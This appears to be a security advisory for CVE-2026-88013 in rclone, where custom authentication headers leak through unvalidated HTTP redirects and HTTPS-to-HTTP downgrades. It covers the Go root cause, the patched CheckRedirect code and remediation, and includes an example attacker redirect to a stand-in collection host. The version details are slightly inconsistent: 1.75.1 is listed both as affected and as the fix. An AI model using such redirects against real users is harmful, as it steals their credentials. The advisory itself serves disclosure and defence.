CVE-2026-88013: Sensitive Header Leakage via Unvalidated HTTP Redirects in rclone

CVE-2026-88013 identifies an information disclosure vulnerability in the HTTP storage backend and global HTTP transport layers of rclone, a widely used command-line utility for managing and synchronizing files across diverse cloud storage backends. The vulnerability exposes sensitive authentication credentials, API keys, and session cookies configured by users when interacting with remote storage hosts. The flaw affects rclone versions starting from 1.49.0 up to 1.75.1.

Under default operations, rclone allows users to pass custom HTTP headers to authenticate with private backends using options such as --http-headers, --header, or --header-download. These options append authorization metadata to outbound client requests. When a remote server redirects an incoming connection to an external, untrusted domain, rclone automatically follows the HTTP redirect without evaluating whether the target host matches the original host. Consequently, the user-defined custom headers are forwarded to the untrusted endpoint.

The attack surface exists primarily in configurations utilizing rclone's HTTP backend for synchronization, listing, or mounting tasks. Because Go's standard library does not automatically strip custom headers on cross-origin redirects, and does not block scheme downgrades from HTTPS to HTTP on same-host targets, attackers in control of a target backend or acting as path interceptors can extract secrets in cleartext.

The root cause of CVE-2026-88013 stems from rclone's reliance on the default redirection logic of the Go standard library's net/http client. In Go, if an http.Client is initialized without a custom CheckRedirect policy function, the client defaults to following up to ten consecutive HTTP redirects. While this default behavior is convenient for standard web browsing, it introduces severe security weaknesses when handling application-specific authentication headers.

Specifically, the Go standard library's default redirect policy is programmed to strip only a small, hardcoded set of standard authorization headers—Authorization, Www-Authenticate, Cookie, and Cookie2—when crossing host boundaries. However, the client has no context regarding custom, user-defined headers, such as API tokens, custom bearer headers, or custom authorization tokens (e.g., X-Api-Key or X-Auth-Token). Because these headers are injected manually into the initial request, Go's default transport mechanism copies them unmodified into all subsequent redirected requests.

Additionally, the default redirection behavior does not restrict protocol transitions from HTTPS to HTTP when the destination host name is identical. If an HTTPS server issues a redirect to an unencrypted http:// URL on the same domain, Go's standard client copies even the standard Authorization or Cookie headers over the unencrypted network. This behavior directly facilitates protocol downgrade attacks, resulting in cleartext credential leakage over the wire.

The vulnerability was fixed across three core commits in rclone's source code, targeting the redirect policy validation, the backend HTTP client configurations, and the global transport layers. In the initial vulnerable code path, the client creation logic in backend/http/http.go invoked fshttp.NewClient(ctx) but did not register a custom CheckRedirect callback on the resulting struct. The custom headers added via addHeaders remained active across all subsequent hops.

To resolve this, the patch introduced a custom redirection policy validator, checkRedirect(opt), which wraps the underlying HTTP client. This validator monitors host changes using a newly implemented utility function redirectLeavesHost(req, via). If the target address departs from the original host origin, the client loops through the list of user-configured headers and explicitly deletes them from the pending request context. This ensures that custom tokens are never sent to external servers.

// checkRedirect returns an http.Client.CheckRedirect function which
// follows redirects but refuses an HTTPS to HTTP downgrade with
// rest.ErrHTTPSDowngrade and strips the configured headers when the
// redirect chain has left the originally requested host at any point.
func checkRedirect(opt *Options) func(req *http.Request, via []*http.Request) error {
	return func(req *http.Request, via []*http.Request) error {
		if err := rest.RefuseHTTPSDowngradeRedirectFn(req, via); err != nil {
			if errors.Is(err, rest.ErrHTTPSDowngrade) {
				err = fmt.Errorf("%w (the configured headers would be sent to the plaintext target)", err)
			}
			return err
		}
		if redirectLeavesHost(req, via) {
			for i := 0; i < len(opt.Headers); i += 2 {
				req.Header.Del(opt.Headers[i])
			}
		}
		return nil
	}
}

Furthermore, the patch resolves same-host protocol downgrades by modifying isHTTPSDowngrade in lib/rest/rest.go. The updated logic checks the scheme of the target request against the first request in the redirect chain (via[0]) rather than merely the immediate preceding hop. This prevents an attacker from bypassing the restriction via multiple redirect hops. Additionally, the SameHost helper was introduced to compare hostnames case-insensitively and normalize default ports so that redirects to explicit port numbers do not inadvertently leak credentials.

Exploitation of CVE-2026-88013 requires an attacker to satisfy one of two primary network conditions. The first scenario involves an attacker who controls an HTTP remote server that a victim has configured in rclone. The second scenario requires an active network interceptor capable of performing an Adversary-in-the-Middle (AiTM) attack on an unencrypted HTTP connection or a compromised HTTPS connection.

In a cross-host redirection scenario, a user configures an rclone target pointing to a seemingly trusted remote host, appending custom headers containing secrets. When rclone initiates a connection, the attacker-controlled server issues an HTTP redirect code directing rclone to an external collection endpoint:

HTTP/1.1 302 Found
Location: https://attacker-controlled-server.com/collect

Because the vulnerable rclone client follows this redirect unconditionally without clearing the request header map, it sends the subsequent request to the attacker's server while maintaining the user-supplied custom headers. The attacker-controlled server logs the incoming request, capturing the secret values directly from the HTTP headers without needing to bypass encryption or execute local shell exploits.

The security impact of CVE-2026-88013 is primarily categorized under information disclosure and credential theft, carrying a CVSS v3.1 base score of 3.7. The low severity rating reflects the high attack complexity required for successful exploitation, as an attacker must either compromise an existing rclone backend host or execute a successful active network interception campaign.

However, despite the low CVSS score, the operational impact in corporate environments can be significant. If rclone is integrated into automated backup, synchronization, or deployment pipelines, leaked headers could include highly sensitive API keys, session cookies, or OAuth bearer tokens. Access to these tokens could grant attackers persistent administrative privileges on third-party cloud storage providers like AWS S3, Google Drive, or Microsoft Azure.

Additionally, the protocol downgrade vector represents a threat to network environments lacking strict transport security controls. Because the client silently downgrades HTTPS connections to unencrypted HTTP when redirected to the same hostname, attackers sniffing network traffic can intercept authentication tokens in plaintext. This vulnerability is not listed in CISA's Known Exploited Vulnerabilities catalog, and there are currently no known public exploits or ransomware campaigns utilizing this flaw.

The primary remediation path for CVE-2026-88013 is updating rclone to version 1.75.1 or later. The update introduces the necessary architectural modifications to the HTTP transport layers to enforce strict host checks and block scheme downgrades. This ensures that standard and custom headers are securely cleared whenever a transaction leaves its original origin.

If immediate software patching is not feasible, organizations should implement the following defensive workarounds:

• Restrict Custom Headers: Audit and remove any use of sensitive credentials within --http-headers, --header, or --header-download configurations when connecting to public mirrors or unvetted HTTP storage servers.
• Enforce HTTPS-Only: Ensure all configured rclone remote URLs are explicitly defined using the https:// scheme, and avoid configuring remotes that utilize HTTP redirects for storage distribution.
• Implement Network Filtering: Deploy egress filtering to block rclone traffic from reaching unauthorized external hosts, reducing the risk of a successful redirection to an untrusted capture server.

Developers using rclone as a library must ensure that any custom instances of http.Client explicitly define a robust CheckRedirect policy that mirrors the host checking and scheme downgrade validation logic added in version 1.75.1.